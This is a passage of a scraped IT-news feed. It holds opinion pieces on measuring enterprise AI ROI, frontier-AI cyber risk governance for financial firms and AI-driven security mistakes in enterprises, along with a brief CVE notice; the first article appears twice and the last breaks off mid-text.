<p class="wp-block-paragraph">In other words, the AI ROI crisis of 2025 was never really about the AI. It was about measurable verification. Most enterprise AI projects didn’t fail. They were simply built in a way that made success unprovable. If you’re a CIO defending a budget line, that distinction is cold comfort, because “we can’t tell if it worked” and “it didn’t work” produce the same conversation with your CFO. But the diagnosis matters, because the treatment is completely different. You don’t fix an unprovable project with a better model. You fix it by picking a better problem.</p>



<p class="wp-block-paragraph">I’ve <a href="https://thenewstack.io/theres-no-sku-for-ai-a-3-box-framework-to-avoid-ai-failures/">argued before</a> that AI initiatives should start with problems that already have good data and trusted metrics, and over the first half of 2026, the market arrived at that conclusion on its own.</p>



<h2 class="wp-block-heading"><a></a>The quiet correction of 2026</h2>



<p class="wp-block-paragraph">Watch where enterprise AI money actually went in the first half of this year and you’ll see a pattern that never made headlines: a hard pivot toward employee-facing use cases. Agents assisting support reps, sales teams, claims processors, IT help desks. The conventional read is that these are the safe choices, the training-wheels projects companies run while they work up the nerve for customer-facing AI.</p>



<p class="wp-block-paragraph">That read is wrong. The pivot to employee-facing AI isn’t about safety. It’s about scoreboards.</p>



<p class="wp-block-paragraph">Think about what an employee-facing workflow comes with that a greenfield AI initiative doesn’t. You already measure it. Average handle time, first-call resolution, cases closed per week, quota attainment. Those KPIs have years of baseline data behind them. More importantly, they’re politically real. In many organizations, people are bonused on those numbers. Nobody in the room disputes the methodology of a metric that’s been sitting on a comp plan for five years. When you drop an agent into that workflow and the KPIs move in the right direction across the entire employee population, ROI stops being a philosophy seminar and becomes back-of-the-envelope arithmetic. Headcount, fully loaded cost, percentage improvement, multiply.</p>



<p class="wp-block-paragraph">The survey data backs up what I’ve been seeing in the field. <a href="https://foundryco.com/research/research-ai-priorities/">Foundry’s 2026 AI Priorities study</a> found that improving employee productivity is now the single biggest business objective driving AI investment, cited by 55% of IT decision-makers. This publication’s own <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">25th annual State of the CIO research</a> tells the same story from the measurement side: lack of clear ROI metrics remains a critical barrier to AI success, cited by 32% of IT leaders, and among organizations that measure AI success at all, operational efficiency and process improvement (40%), employee productivity (34%) and cost reduction (30%) dominate, while revenue impact trails at 27%. And <a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html">Deloitte’s State of AI in the Enterprise</a> found two-thirds of organizations reporting productivity and efficiency gains from AI, while only 20% can point to revenue growth.</p>



<p class="wp-block-paragraph">Notice what those numbers describe. The industry didn’t get better at measuring AI. It got better at picking problems that were already measured.</p>



<h2 class="wp-block-heading"><a></a>The post-mortem question nobody asks first</h2>



<p class="wp-block-paragraph">Which brings us to the diagnostic. When an AI project can’t demonstrate ROI, the instinct is to interrogate the technology. Wrong model. Wrong vendor. Insufficient context. Hallucinations. Sometimes that’s true. But the first question in the post-mortem should be about a decision that was made before a single token was generated: what problem did we pick?</p>



<p class="wp-block-paragraph">Did that problem have good data behind it? And did it have a scoreboard anyone trusted before the AI showed up? If the answer to either question is no, the project was never going to prove anything, no matter how well the technology performed. You can’t demonstrate improvement against a baseline that doesn’t exist, and you can’t win an argument with a metric that was invented the same week as the pilot. The MIT study’s 95% weren’t all technology failures. A meaningful share of them were selection errors, committed months earlier in a planning meeting, by people who chose an exciting problem over a measurable one.</p>



<h2 class="wp-block-heading"><a></a>The bill comes due</h2>



<p class="wp-block-paragraph">Here’s the uncomfortable part. Just as the industry figured out the measurability trick, the goalposts started moving.</p>



<p class="wp-block-paragraph"><a href="https://futurumgroup.com/press-release/enterprise-ai-roi-shifts-as-agentic-priorities-surge/">Futurum’s survey of 830 enterprise IT decision-makers</a> in the first half of 2026 documents the shift: productivity gains fell from 23.8% to 18.0% as the primary ROI metric buyers use to justify AI investment, while hard financial measures, top-line revenue and bottom-line profitability combined, nearly doubled to 21.7%. The productivity argument carried the pilot era. CFOs accepted “the KPIs moved” as an answer for a while. Now, they want hard dollars.</p>



<p class="wp-block-paragraph">This is where the next generation of AI projects will separate winners from the pack, and it requires something almost no one negotiates up front: an ROI exchange rate. That’s the pre-agreed formula, signed off by finance before deployment, that converts KPI movement into currency. One point of first-call resolution improvement equals this many dollars. One hour of engineering time recovered equals that many. It sounds bureaucratic. It’s the opposite. The exchange rate is what lets a project claim its value the moment the KPIs move, instead of spending two quarters in a methodology debate trying to reverse-engineer credit after the fact.</p>



<p class="wp-block-paragraph">Without an exchange rate, even a well-instrumented project tops out at a productivity story. With one, the same project is a P&amp;L story. Same technology, same results, entirely different conversation with the CFO.</p>



<h2 class="wp-block-heading"><a></a>The award was won before deployment</h2>



<p class="wp-block-paragraph">This month CIO celebrates the <a href="https://www.cio.com/">CIO 100 Awards</a>, recognizing technology initiatives that deliver measurable business value. Study those winning projects and you’ll find plenty of impressive technology. But the thing they share isn’t a model or an architecture. It’s that “measurable” was engineered in at problem selection. The winners picked problems with real data and trusted scoreboards, and they agreed with finance on what the score was worth before they started playing.</p>



<p class="wp-block-paragraph">That’s the part of innovation that never makes it on stage, and it’s the part worth copying. So, flip the question that dominated last fall. Don’t ask where the ROI for AI is. Ask whether you picked a problem that could ever answer that question, and whether anyone wrote down the exchange rate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI’s measurement crisis is over. The translation crisis is next]]></title>
<description><![CDATA[Last fall, you couldn’t open a business publication without tripping over some version of the same headline: where is the ROI for AI? The anchor for most of that coverage was MIT’s “GenAI Divide” report, which found that despite $30 to 40 billion in enterprise generative AI spending, 95% of pilot...]]></description>
<link>https://tsecurity.de/de/3701144/it-nachrichten/ais-measurement-crisis-is-over-the-translation-crisis-is-next/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701144/it-nachrichten/ais-measurement-crisis-is-over-the-translation-crisis-is-next/</guid>
<pubDate>Mon, 03 Aug 2026 20:15:54 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Last fall, you couldn’t open a business publication without tripping over some version of the same headline: where is the ROI for AI? The anchor for most of that coverage was <a href="https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/">MIT’s “GenAI Divide” report</a>, which found that despite $30 to 40 billion in enterprise generative AI spending, 95% of pilots delivered no measurable P&amp;L impact. The bubble takes wrote themselves. Boards asked uncomfortable questions. More than a few AI budgets went into the freezer for the winter.</p>



<p class="wp-block-paragraph">Here’s the detail that got lost in the panic: the study defined success as measurable KPI impact within six months of the pilot. Read that again. A project that transformed how a team worked but was never instrumented to prove it counted as a failure. <a href="https://exec-ed.berkeley.edu/2025/09/beyond-roi-are-we-using-the-wrong-metric-in-measuring-ai-success/">Researchers at UC Berkeley pushed back</a> on exactly this point, arguing that the 95% figure may represent 95% of organizations measuring the wrong things at the wrong time rather than 95% of projects failing to create value.</p>



<p class="wp-block-paragraph">In other words, the AI ROI crisis of 2025 was never really about the AI. It was about measurable verification. Most enterprise AI projects didn’t fail. They were simply built in a way that made success unprovable. If you’re a CIO defending a budget line, that distinction is cold comfort, because “we can’t tell if it worked” and “it didn’t work” produce the same conversation with your CFO. But the diagnosis matters, because the treatment is completely different. You don’t fix an unprovable project with a better model. You fix it by picking a better problem.</p>



<p class="wp-block-paragraph">I’ve <a href="https://thenewstack.io/theres-no-sku-for-ai-a-3-box-framework-to-avoid-ai-failures/">argued before</a> that AI initiatives should start with problems that already have good data and trusted metrics, and over the first half of 2026, the market arrived at that conclusion on its own.</p>



<h2 class="wp-block-heading"><a></a>The quiet correction of 2026</h2>



<p class="wp-block-paragraph">Watch where enterprise AI money actually went in the first half of this year and you’ll see a pattern that never made headlines: a hard pivot toward employee-facing use cases. Agents assisting support reps, sales teams, claims processors, IT help desks. The conventional read is that these are the safe choices, the training-wheels projects companies run while they work up the nerve for customer-facing AI.</p>



<p class="wp-block-paragraph">That read is wrong. The pivot to employee-facing AI isn’t about safety. It’s about scoreboards.</p>



<p class="wp-block-paragraph">Think about what an employee-facing workflow comes with that a greenfield AI initiative doesn’t. You already measure it. Average handle time, first-call resolution, cases closed per week, quota attainment. Those KPIs have years of baseline data behind them. More importantly, they’re politically real. In many organizations, people are bonused on those numbers. Nobody in the room disputes the methodology of a metric that’s been sitting on a comp plan for five years. When you drop an agent into that workflow and the KPIs move in the right direction across the entire employee population, ROI stops being a philosophy seminar and becomes back-of-the-envelope arithmetic. Headcount, fully loaded cost, percentage improvement, multiply.</p>



<p class="wp-block-paragraph">The survey data backs up what I’ve been seeing in the field. <a href="https://foundryco.com/research/research-ai-priorities/">Foundry’s 2026 AI Priorities study</a> found that improving employee productivity is now the single biggest business objective driving AI investment, cited by 55% of IT decision-makers. This publication’s own <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">25th annual State of the CIO research</a> tells the same story from the measurement side: lack of clear ROI metrics remains a critical barrier to AI success, cited by 32% of IT leaders, and among organizations that measure AI success at all, operational efficiency and process improvement (40%), employee productivity (34%) and cost reduction (30%) dominate, while revenue impact trails at 27%. And <a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html">Deloitte’s State of AI in the Enterprise</a> found two-thirds of organizations reporting productivity and efficiency gains from AI, while only 20% can point to revenue growth.</p>



<p class="wp-block-paragraph">Notice what those numbers describe. The industry didn’t get better at measuring AI. It got better at picking problems that were already measured.</p>



<h2 class="wp-block-heading"><a></a>The post-mortem question nobody asks first</h2>



<p class="wp-block-paragraph">Which brings us to the diagnostic. When an AI project can’t demonstrate ROI, the instinct is to interrogate the technology. Wrong model. Wrong vendor. Insufficient context. Hallucinations. Sometimes that’s true. But the first question in the post-mortem should be about a decision that was made before a single token was generated: what problem did we pick?</p>



<p class="wp-block-paragraph">Did that problem have good data behind it? And did it have a scoreboard anyone trusted before the AI showed up? If the answer to either question is no, the project was never going to prove anything, no matter how well the technology performed. You can’t demonstrate improvement against a baseline that doesn’t exist, and you can’t win an argument with a metric that was invented the same week as the pilot. The MIT study’s 95% weren’t all technology failures. A meaningful share of them were selection errors, committed months earlier in a planning meeting, by people who chose an exciting problem over a measurable one.</p>



<h2 class="wp-block-heading"><a></a>The bill comes due</h2>



<p class="wp-block-paragraph">Here’s the uncomfortable part. Just as the industry figured out the measurability trick, the goalposts started moving.</p>



<p class="wp-block-paragraph"><a href="https://futurumgroup.com/press-release/enterprise-ai-roi-shifts-as-agentic-priorities-surge/">Futurum’s survey of 830 enterprise IT decision-makers</a> in the first half of 2026 documents the shift: productivity gains fell from 23.8% to 18.0% as the primary ROI metric buyers use to justify AI investment, while hard financial measures, top-line revenue and bottom-line profitability combined, nearly doubled to 21.7%. The productivity argument carried the pilot era. CFOs accepted “the KPIs moved” as an answer for a while. Now, they want hard dollars.</p>



<p class="wp-block-paragraph">This is where the next generation of AI projects will separate winners from the pack, and it requires something almost no one negotiates up front: an ROI exchange rate. That’s the pre-agreed formula, signed off by finance before deployment, that converts KPI movement into currency. One point of first-call resolution improvement equals this many dollars. One hour of engineering time recovered equals that many. It sounds bureaucratic. It’s the opposite. The exchange rate is what lets a project claim its value the moment the KPIs move, instead of spending two quarters in a methodology debate trying to reverse-engineer credit after the fact.</p>



<p class="wp-block-paragraph">Without an exchange rate, even a well-instrumented project tops out at a productivity story. With one, the same project is a P&amp;L story. Same technology, same results, entirely different conversation with the CFO.</p>



<h2 class="wp-block-heading"><a></a>The award was won before deployment</h2>



<p class="wp-block-paragraph">This month CIO celebrates the <a href="https://www.cio.com/">CIO 100 Awards</a>, recognizing technology initiatives that deliver measurable business value. Study those winning projects and you’ll find plenty of impressive technology. But the thing they share isn’t a model or an architecture. It’s that “measurable” was engineered in at problem selection. The winners picked problems with real data and trusted scoreboards, and they agreed with finance on what the score was worth before they started playing.</p>



<p class="wp-block-paragraph">That’s the part of innovation that never makes it on stage, and it’s the part worth copying. So, flip the question that dominated last fall. Don’t ask where the ROI for AI is. Ask whether you picked a problem that could ever answer that question, and whether anyone wrote down the exchange rate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-60622 | Oracle JDeveloper 12.2.1.4.0/14.1.2.0.0 Security Framework improper authorization]]></title>
<description><![CDATA[A vulnerability identified as problematic has been detected in Oracle JDeveloper 12.2.1.4.0/14.1.2.0.0. The impacted element is an unknown function of the component Security Framework. Performing a manipulation results in improper authorization.

This vulnerability was named CVE-2026-60622. The a...]]></description>
<link>https://tsecurity.de/de/3700726/sicherheitsluecken/cve-2026-60622-oracle-jdeveloper-122140141200-security-framework-improper-authorization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700726/sicherheitsluecken/cve-2026-60622-oracle-jdeveloper-122140141200-security-framework-improper-authorization/</guid>
<pubDate>Mon, 03 Aug 2026 12:54:01 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">problematic</a> has been detected in <a href="https://vuldb.com/product/oracle:jdeveloper">Oracle JDeveloper 12.2.1.4.0/14.1.2.0.0</a>. The impacted element is an unknown function of the component <em>Security Framework</em>. Performing a manipulation results in improper authorization.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2026-60622">CVE-2026-60622</a>. The attack may be initiated remotely. There is no available exploit.]]></content:encoded>
</item>
<item>
<title><![CDATA[Frontier AI will not break finance. Slow cyber decisions will]]></title>
<description><![CDATA[The scariest thing about frontier AI is that it gives lazy criminals better legs.



That sounds flippant until you watch how cyber failure works. I have seen that weakness in many costumes: A server waiting for a patch, an access path nobody wants to touch, a supplier marked “low risk” because t...]]></description>
<link>https://tsecurity.de/de/3700632/it-nachrichten/frontier-ai-will-not-break-finance-slow-cyber-decisions-will/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700632/it-nachrichten/frontier-ai-will-not-break-finance-slow-cyber-decisions-will/</guid>
<pubDate>Mon, 03 Aug 2026 12:30:57 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The scariest thing about frontier AI is that it gives lazy criminals better legs.</p>



<p class="wp-block-paragraph">That sounds flippant until you watch how cyber failure works. I have seen that weakness in many costumes: A server waiting for a patch, an access path nobody wants to touch, a supplier marked “low risk” because the contract said so, and a legacy system kept alive by one person who retired years ago.</p>



<p class="wp-block-paragraph">It is a known weakness with no owner.</p>



<p class="wp-block-paragraph">Frontier AI only needs to find them faster, join them better and act before the committee has finished admiring the heat map.</p>



<p class="wp-block-paragraph">On 15 May 2026, the <a href="https://www.bankofengland.co.uk/news/2026/may/boe-fca-and-hm-treasury-joint-statement-on-frontier-ai-models-and-cyber-resilience">Bank of England, the FCA and HM Treasury</a> warned that frontier AI models carry serious cyber and operational resilience implications for regulated firms and financial market infrastructures. Cyber capability is getting faster and cheaper to scale.</p>



<p class="wp-block-paragraph"><a href="https://www.esrb.europa.eu/news/pr/date/2026/html/esrb.pr260707~4e1b68241a.en.html">The European Systemic Risk Board (ESRB) warned in June 2026</a> that frontier AI models with cyber capabilities can discover vulnerabilities, generate working exploits and execute attacks at a speed, scale and accuracy beyond those of earlier models. It also warned that this may reduce response time, increase concentration risk and weaken resilience across the financial system. Three weeks earlier, a <a href="https://www.whitehouse.gov/presidential-actions/2026/06/promoting-advanced-artificial-intelligence-innovation-and-security">US executive order</a> directed the Treasury, along with CISA and the NSA, to establish an AI cybersecurity clearinghouse and a pre-release evaluation framework for frontier models with advanced cyber capabilities.</p>



<h2 class="wp-block-heading">The clock has changed</h2>



<p class="wp-block-paragraph">For years, cyber programmes lived on borrowed time.</p>



<p class="wp-block-paragraph">A weakness appeared. Someone logged it. Technology needed a change window. Procurement checked the supplier. Legal asked what could be said. Everyone was busy. Nobody was idle. Yet the decision moved like a suitcase with one broken wheel.</p>



<p class="wp-block-paragraph">Frontier AI punishes that rhythm.</p>



<p class="wp-block-paragraph"><a href="https://www.iif.com/Publications/ID/6618/IIF-Staff-Paper-Speed-Scale-and-Systemic-Risk-Frontier-AI-and-Cybersecurity">The Institute of International Finance (IIF)</a> staff paper says frontier AI has lowered the barriers to discovering, exploiting and combining vulnerabilities. It also says the answer is not a new risk framework, but faster use of existing ones, with more senior ownership and faster remediation.</p>



<p class="wp-block-paragraph">A patching process that looked mature when attackers needed weeks may look quaint when exploitation can follow in hours. A vulnerability backlog that once looked like a queue can become a menu. And menus are for customers. Not attackers.</p>



<h2 class="wp-block-heading">When firm weakness becomes market fragility</h2>



<p class="wp-block-paragraph">In finance, a cyber incident can travel.</p>



<p class="wp-block-paragraph">A bank does not sit alone. A payment system does not hum in a private corner. A firm and financial market infrastructure (FMI) does not clear and settle trades as a hobby. These institutions share technology, suppliers, market data, cloud services, open-source code, identity systems and habits. When one pipe shakes, another pipe may feel the vibration.</p>



<p class="wp-block-paragraph">That is why the ESRB treats frontier AI as a systemic risk, rather than a security issue. It points to shared technology stacks, common service providers, open-source dependencies and the risk of incidents spreading across critical functions. It also warns about asymmetry: Some firms and jurisdictions will have better skills, tools and access than others, while attackers may benefit sooner than defenders.</p>



<p class="wp-block-paragraph">For FMIs, the useful question is blunt: What failure would stop the market completing the day? Not “which system is red?” Not “which supplier scored medium?” If this breaks, who cannot pay, clear, settle, price, report or trust?</p>



<p class="wp-block-paragraph">In finance, one firm’s backlog can become another firm’s outage.</p>



<h2 class="wp-block-heading">Governance means naming the decision</h2>



<p class="wp-block-paragraph">There will be a new policy. A renamed committee. A dashboard that tells directors what everyone already knows: the risk is high.</p>



<p class="wp-block-paragraph">Fine. Keep the dashboard. But do not confuse it with movement.</p>



<p class="wp-block-paragraph">Supervisors have already moved this to the top table. On 7 July 2026, the ECB, as banking supervisor, has <a href="https://www.bankingsupervision.europa.eu/press/letterstobanks/shared/pdf/2026/ssm.2026_letter_on_AI_enabled_cybersecurity_threats.en.pdf">asked significant institutions</a> to assess the changed threat environment without delay and to deliver a full action plan by 31 October 2026. The ESRB says financial authorities should ensure boards are fully committed to mitigating frontier-AI-driven cyber risks, with clear governance, planned, timely responses and internal investment.</p>



<p class="wp-block-paragraph">Governance should name the decisions before the incident names them for you. Which important services are most exposed? Which vulnerabilities must be fixed first? Which patching risks will the board accept to avoid a worse cyber risk? Which suppliers can hurt the firm? Which defensive AI tools are safe enough to use, and under whose authority?</p>



<p class="wp-block-paragraph">Each important business service should have a Frontier AI Cyber Risk Position. One page. Service. Scenario. Owner. Gap. Decision. Funding. Date. Proof.</p>



<p class="wp-block-paragraph">If it cannot fit on one page, it may not be due to complexity. It may be fog.</p>



<p class="wp-block-paragraph">A policy says the firm noticed. A decision says the firm moved.</p>



<h2 class="wp-block-heading">Threat modelling must grow up</h2>



<p class="wp-block-paragraph">Old threat models ask what an attacker might do. Useful, yes. But frontier AI adds a sharper question: What does the model make easier?</p>



<p class="wp-block-paragraph">The <a href="https://www.frontiermodelforum.org/technical-reports/managing-advanced-cyber-risks-in-frontier-ai-frameworks/">Frontier Model Forum</a> says cyber risk frameworks use capability thresholds, capability assessments and extra safeguards when models reach levels that could enable serious harm. Two thresholds matter for finance: Models that give meaningful uplift to less-skilled attackers, and systems that can carry out parts or all of an attack chain with little human direction.</p>



<p class="wp-block-paragraph">So do not only ask whether phishing improves. Ask whether a novice can now perform work that once needed a specialist. Ask whether vulnerabilities can be discovered, chained, tested and used against hardened targets.</p>



<p class="wp-block-paragraph">The Frontier AI Risk Management Framework offers a useful lens: Deployment environment, threat source and enabling capability. In plain English: Where is the tool, who can misuse it and what does it let them do that they could not do before?</p>



<h2 class="wp-block-heading">Patching is now a resilience test</h2>



<p class="wp-block-paragraph">Patching used to be treated like hygiene. Necessary, dull and easy to postpone.</p>



<p class="wp-block-paragraph">Not anymore.</p>



<p class="wp-block-paragraph">The ESRB warns that current patching practices in finance are largely reactive. They rely on periodic updates and ad hoc responses. That may fail if frontier AI increases the volume of critical vulnerabilities. Firms may then face an ugly choice: Leave systems exposed or reduce patch testing, risking outages.</p>



<p class="wp-block-paragraph">The IIF paper adds another sting. A published patch can become a signal. Attackers can inspect the fix, infer the weakness and move faster than firms can test and deploy it. In that world, “we are waiting for the next maintenance window” starts to sound less like discipline and more like hope in a suit.</p>



<p class="wp-block-paragraph">Firms need a patch-wave model: Asset visibility tied to critical services, component visibility, exploitability scoring, attack-path analysis, emergency change lanes, rollback plans and senior visibility when the clock collapses.</p>



<p class="wp-block-paragraph">Do not let <a href="https://www.first.org/cvss/">CVSS</a> become theatre. A lower-scored weakness on a live path to a critical service may matter more than a higher-scored weakness buried in a corner.</p>



<p class="wp-block-paragraph">A patch is not always the end of the story. Under pressure from frontier AI, it can be the starting gun.</p>



<h2 class="wp-block-heading">Your supplier map is part of your attack surface</h2>



<p class="wp-block-paragraph">No firm owns its full risk anymore.</p>



<p class="wp-block-paragraph">Some of it sits on cloud platforms, in managed services and in open-source packages maintained by tired volunteers, software vendors and AI providers whose access decisions may depend on governments, export rules or commercial priorities.</p>



<p class="wp-block-paragraph">The IIF paper notes that weaknesses now being surfaced are not unique to financial services. They live in operating systems, browsers, cloud platforms and open-source software used across the wider economy. The capacity to fix many of them sits with technology developers, platform firms and governments.</p>



<p class="wp-block-paragraph">A contract clause does not patch a supplier. A right-to-audit clause does not restore settlement at 3 a.m. A service credit does not rebuild confidence.</p>



<p class="wp-block-paragraph">Firms and FMIs need sharper dependency maps. Which providers support important services? Which have production access? Which hold sensitive data? Which supplier failure would stop the day?</p>



<p class="wp-block-paragraph">Ask for proof. Patch proof. Incident routes. Recovery test results. Component lists. Exit options that can survive contact with reality.</p>



<p class="wp-block-paragraph">Procurement should not buy what resilience cannot recover. Your perimeter ends at the contract. The attacker’s path does not.</p>



<h2 class="wp-block-heading">Use AI for defence, but keep humans in authority</h2>



<p class="wp-block-paragraph">Frontier AI can help search code, correlate signals, support testing and speed up triage. The ESRB accepts the defensive value, but warns that offensive gains may arrive sooner than defensive maturity. The IIF paper says firms that move faster to build defensive capability will be better placed as the threat shifts.</p>



<p class="wp-block-paragraph">So yes, use AI to test, find weak paths, help the SOC cut noise and scan code before deployment.</p>



<p class="wp-block-paragraph">But do not let speed smuggle in authority.</p>



<p class="wp-block-paragraph">If a containment action could affect payments, settlement, customer access or market operations, a named human must own the call. AI can suggest. AI can rank. AI can warn. It should not inherit a mandate by accident.</p>



<p class="wp-block-paragraph">Agents that write code, test controls, scan infrastructure or act in workflows need scoped permissions, monitoring, logs and kill switches. They also need owners who understand what the agent can touch.</p>



<p class="wp-block-paragraph">Use AI to gain speed. Do not let it become the ghost in the control room.</p>



<h2 class="wp-block-heading">Assurance must reconstruct the story</h2>



<p class="wp-block-paragraph">After an incident, the question will not be, “Did you have controls?”</p>



<p class="wp-block-paragraph">It will be sharper. What did you know? When did you know it? Who decided? What did they reject? Why was the choice reasonable? Where is the proof?</p>



<p class="wp-block-paragraph">Assurance means following the decision trail from threat signal to board action to funding to remediation to test result. Evidence should include board papers, risk decisions, expired acceptances, supplier attestations, incident timelines, recovery tests and lessons learned.</p>



<p class="wp-block-paragraph">The scrutiny will keep moving. The ESRB will reassess these risks at each quarterly meeting of its General Board. Supervisors are calibrating expectations to the trajectory of AI capability because anything anchored to today’s models will be stale before it lands.</p>



<p class="wp-block-paragraph">One caution runs the other way. Firm-level disclosure of live vulnerabilities can itself concentrate targeting information. Push for aggregate reporting where the rules allow, and remediate before you broadcast.</p>



<p class="wp-block-paragraph">Internal audit should ask one brutal question: Could a competent stranger reconstruct the decision six months later? If the answer is no, you may have done work rather than built defensibility.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">Frontier AI will not break finance by magic. It will test whether finance can move before its own processes turn against it.</p>



<p class="wp-block-paragraph">Frontier AI will punish firms that treat it as a chore and reward those that treat the next 12 months as a decision problem with a clock on it.</p>



<p class="wp-block-paragraph">The EU and the US reached the same conclusion by different routes: The rulebook already exists. DORA, the AI Act and the new US clearinghouse point to frameworks in place today. The variable is the speed, ownership and evidence with which firms apply them.</p>



<p class="wp-block-paragraph">The board questions are plain. Do we know our important services? Do we know the paths that can break them? Which suppliers and which models can hurt us? Can we patch in hours? Can we contain without guessing? Can we recover within tolerance? Can we prove who decided what, when and why?</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Three scary AI security mistakes haunting enterprises]]></title>
<description><![CDATA[There is a lot of talk about the coming enterprise AI reality, in which AI finally arrives in production systems. You might not know it, but this reality—or nightmare, depending on how you handle it—is already happening.



It all starts with a “pilot,” a “prototype,” or a “side project.” Maybe s...]]></description>
<link>https://tsecurity.de/de/3700609/ai-nachrichten/three-scary-ai-security-mistakes-haunting-enterprises/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700609/ai-nachrichten/three-scary-ai-security-mistakes-haunting-enterprises/</guid>
<pubDate>Mon, 03 Aug 2026 12:13:04 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">There is a lot of talk about the coming enterprise AI reality, in which AI finally arrives in production systems. You might not know it, but this reality—or nightmare, depending on how you handle it—is already happening.</p>



<p class="wp-block-paragraph">It all starts with a “pilot,” a “prototype,” or a “side project.” Maybe someone builds an internal dashboard with an agent. The dashboard quickly becomes indispensable, and all of a sudden the experiment becomes production. Along the way, no one thought to ask the boring, inconvenient questions: What exactly was pulled from npm, PyPI, or Docker Hub? How is (or was) authentication configured? Is anyone watching for supply chain attacks against the tools and libraries the agents chose?</p>



<p class="wp-block-paragraph">And it’s not just a one-off project here or a couple of applications there. AI is enabling organizations to generate more code and ship more products and projects, more quickly, than ever before. By the time security teams get a look, the business is hooked and there’s no turning back. An actual nightmare has begun.</p>



<p class="wp-block-paragraph">There are three major problems that make the nightmare real. </p>



<h2 class="wp-block-heading">Components you never explicitly chose</h2>



<p class="wp-block-paragraph">When you ask an AI agent to build an app, it doesn’t just spit out a single script. It quietly assembles an entire ecosystem around whatever problem you’ve described to it. It pulls in a web framework, grabs a bunch of libraries, stands up databases, and then it potentially builds everything on dependencies in container images.</p>



<p class="wp-block-paragraph">From a productivity perspective, this is awesome. However, from a security standpoint, it’s worrisome, to say the least. When I’ve built apps like this myself, I couldn’t begin to tell you all of the components that were being used unless I went back and asked the agent to explain itself.</p>



<p class="wp-block-paragraph">We live in a world where anyone can publish to npm or PyPI, and we’ve seen attackers slip malicious packages into those ecosystems or compromise ones that are widely used. Some of the recent incidents have involved security and devops tools themselves pulling a compromised dependency, running it as part of CI/CD with elevated privileges, and quietly exfiltrating secrets or tampering with builds. I personally experienced this type of compromise a couple of months ago, and had to update all of my credentials in GitHub.</p>



<p class="wp-block-paragraph">Pulling unvetted code is bad; now layer AI agents on top of that. They default to whatever is easiest to discover and integrate. If a package solves a problem in front of the agent, the agent will add it. This is the old “download a random library from the Internet” problem, but now it’s on autopilot, at scale, and moving at a pace we’ve never seen before.</p>



<p class="wp-block-paragraph">To solve this problem, we must provide the agents with an innate sense of our risk tolerance, an approved components list, our desires around logging, etc. We can do this with spec files and what the industry calls constitutions. Collectively, this is called harness engineering, which we will talk more about later.</p>



<h2 class="wp-block-heading">Skills shifting from code to architecture</h2>



<p class="wp-block-paragraph">There has been a lot of hand-wringing about <a href="https://www.infoworld.com/article/4065771/why-we-need-junior-developers.html" data-type="link" data-id="https://www.infoworld.com/article/4065771/why-we-need-junior-developers.html">whether junior developers</a> will ever <a href="https://www.infoworld.com/article/4152683/what-next-for-junior-developers.html" data-type="link" data-id="https://www.infoworld.com/article/4152683/what-next-for-junior-developers.html">really learn to code</a> if AI is doing all of their coding for them.</p>



<p class="wp-block-paragraph">That’s not what worries me.</p>



<p class="wp-block-paragraph">I think it’s fine to let an agent spit out code. It’s a job they are really good at. What they are not really good at is identifying and avoiding problems in code.</p>



<p class="wp-block-paragraph">I haven’t written code in quite some time. I can, but it doesn’t make sense for me to do so. What is worth my while is noticing when an agent suggests something dumb or even dangerous (or both).</p>



<p class="wp-block-paragraph">For example, while working on a recent personal project, an agent proposed exposing a memory server on the public Internet with no authentication. The agent wired things up so smoothly that, at first glance, everything looked fine and just worked. But then I paused and asked, “Wait, how is this actually authenticating? Where’s the password, secret token, or OAuth in this flow?” Turns out it wasn’t authenticating and there was no password. If I hadn’t taken that beat—and then argued with the agent for a while—the app would have gone live with no protection.</p>



